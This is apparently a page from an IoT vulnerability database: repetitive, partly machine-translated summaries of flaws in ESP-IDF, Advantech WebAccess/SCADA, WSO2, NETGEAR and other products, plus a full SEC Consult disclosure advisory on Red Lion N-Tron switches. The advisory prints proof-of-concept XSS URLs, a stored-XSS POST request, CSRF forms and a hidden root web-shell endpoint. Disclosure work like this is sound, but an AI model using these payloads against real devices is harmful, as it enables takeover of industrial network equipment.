VARIoT IoT vulnerabilities database

The Bluetooth Low Energy (BLE) controller implementation in Espressif ESP-IDF 4.2 and earlier (for ESP32 devices) does not properly restrict the channel map field of the connection request packet on reception, allowing attackers in radio range to cause a denial of service (crash) via a crafted packet. ESP-IDF Is vulnerable to input validation.Denial of service (DoS) It may be put into a state. Espressif ESP-IDF is a development framework for the Internet of Things of China Espressif. Espressif ESP-IDF 4.2 and earlier versions have security vulnerabilities. Attackers use specially crafted data packets to cause denial of service

ABB (China) Co., Ltd. is committed to providing solutions for customers in the industrial, energy, power, transportation and construction industries. The ABB industrial robot teach pendant has an encryption algorithm vulnerability. Attackers can use the loopholes to crack the user password of ABB industrial robots.

DIGISOL provides a complete integrated communication system solution. 1GE+WIFI router has command execution vulnerability. Attackers can log in to the background with a weak password and execute commands remotely.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has an information disclosure vulnerability. Attackers can use vulnerabilities to obtain remote connection passwords, background administrator passwords and other sensitive information.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has a command execution vulnerability. Attackers can use the vulnerability to execute console commands.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has an information disclosure vulnerability. Attackers can use vulnerabilities to obtain remote connection passwords, background administrator passwords and other sensitive information.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has logic flaws. Attackers can use the vulnerability to access and modify the registry of the user's system, and can execute arbitrary commands on the user's system.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has a command execution vulnerability. Attackers can use the vulnerability to execute console commands.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has a command execution vulnerability. Attackers can use the vulnerability to execute console commands.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has logic flaws. Attackers can use the vulnerability to access and modify the registry of the user's system, and can execute arbitrary commands on the user's system.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has a command execution vulnerability. Attackers can use the vulnerability to execute console commands.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has an arbitrary file deletion vulnerability. Attackers can use vulnerabilities to delete arbitrary files.

Advantech WebAccess/SCADA is a set of SCADA software based on browser architecture. Advantech WebAccess/SCADA has an arbitrary file deletion vulnerability. Attackers can use vulnerabilities to delete arbitrary files.

Cross-site request forgery (CSRF) vulnerability in NETGEAR switching hubs (GS716Tv2 Firmware version 5.4.2.30 and earlier, and GS724Tv3 Firmware version 5.4.2.30 and earlier) allow remote attackers to hijack the authentication of administrators and alter the settings of the device via unspecified vectors. NETGEAR Switching hub provided by GS716Tv2 and GS724Tv3 Is a cross-site request forgery vulnerability (CWE-352) Exists. This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Reii Yano MrIf a user who is logged in to the management screen of the product accesses a specially crafted page, the settings of the product may be changed unintentionally

An issue was discovered in certain WSO2 products. A valid Carbon Management Console session cookie may be sent to an attacker-controlled server if the victim submits a crafted Try It request, aka Session Hijacking. This affects API Manager 2.2.0, API Manager Analytics 2.2.0, API Microgateway 2.2.0, Data Analytics Server 3.2.0, Enterprise Integrator through 6.6.0, IS as Key Manager 5.5.0, Identity Server 5.5.0 and 5.8.0, Identity Server Analytics 5.5.0, and IoT Server 3.3.0 and 3.3.1. plural WSO2 The product contains unspecified vulnerabilities.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. There are security vulnerabilities in WSO2 products, which originate from the ability of Carbon management console to send cookie information to attackers. There is a security vulnerability in WSO2 products

An issue was discovered in certain WSO2 products. The Try It tool allows Reflected XSS. This affects API Manager 2.2.0, API Manager Analytics 2.2.0, API Microgateway 2.2.0, Data Analytics Server 3.2.0, Enterprise Integrator through 6.6.0, IS as Key Manager 5.5.0, Identity Server 5.5.0 and 5.8.0, Identity Server Analytics 5.5.0, and IoT Server 3.3.0 and 3.3.1. plural WSO2 The product contains a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. There is a cross-site scripting vulnerability in WSO2 products, which is caused by the lack of correct verification of client data in WEB applications. An attacker can use this vulnerability to execute client code

Chengdu Feiyuxing Technology Co., Ltd. is a company dedicated to providing intelligent and easy-to-use network communication products and services, continuously improving the quality of network use through innovative technologies, and cooperating with users to create an intelligent and humanized network management platform. Feiyuxing home smart router has an unauthorized access vulnerability, which can be exploited by attackers to obtain sensitive information.

Modicon M580 is a programmable logic controller introduced by Schneider Electric. Schneider Electric Modicon M580 has an information disclosure vulnerability. Attackers can use the vulnerability to obtain arbitrary memory data.

IBM Resilient SOAR V38.0 users may experience a denial of service of the SOAR Platform due to a insufficient input validation. IBM X-Force ID: 165589. IBM Resilient There is an input verification vulnerability in. Vendor exploits this vulnerability IBM X-Force ID: 165589 It is published as.Service operation interruption (DoS) It may be put into a state

The affected product is vulnerable to stored cross-site scripting, which may allow an attacker to remotely execute arbitrary code to gain access to sensitive data on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. Red Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 > ======================================================================= title: Multiple Vulnerabilities product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data." Source: https://www.redlion.net Business recommendation: ------------------------ The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. An attacker is also able to perform actions in the context of the attacked user. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is also able to perform actions in the context of the attacked user. 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability. 4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device. This endpoint seems to be a leftover of the used Atheros SDK. 5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. 6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination. The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E 2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request: ------------------------------------------------------------------------------- POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode" bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode" 0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip" 192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask" 255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw" 192.168.1.1"><script>alert(document.location)</script> -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1" -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2" -----------------------------195698564115308644282115103021-- ------------------------------------------------------------------------------- This can also be embedded in the HTML code as shown below: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="netmode" value="bridge" /> <input type="hidden" name="wlanipmode" value="0" /> <input type="hidden" name="brip" value="192&#46;168&#46;1&#46;202" /> <input type="hidden" name="brmask" value="255&#46;255&#46;255&#46;0" /> <input type="hidden" name="brgw" value="192&#46;168&#46;1&#46;1&quot;&gt;&lt;script&gt;alert&#40;document&#46;location&#43;&quot;&#32;&gt;&#32;SEC&#45;Consult&quot;&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="dns1" value="" /> <input type="hidden" name="dns2" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data"> <input type="hidden" name="hostname" value="SEC&#32;Consult" /> <input type="hidden" name="action" value="chhost" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages. 5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device: A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability. ------------------------------------------------------------------------------- # ls "pressing <TAB>" test 55\;test.txt # ------------------------------------------------------------------------------- 6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15 Vulnerable / tested versions: ----------------------------- the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26 Vendor contact timeline: ------------------------ 2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory. * https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01 Solution: --------- Upgrade to newer hardware. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2020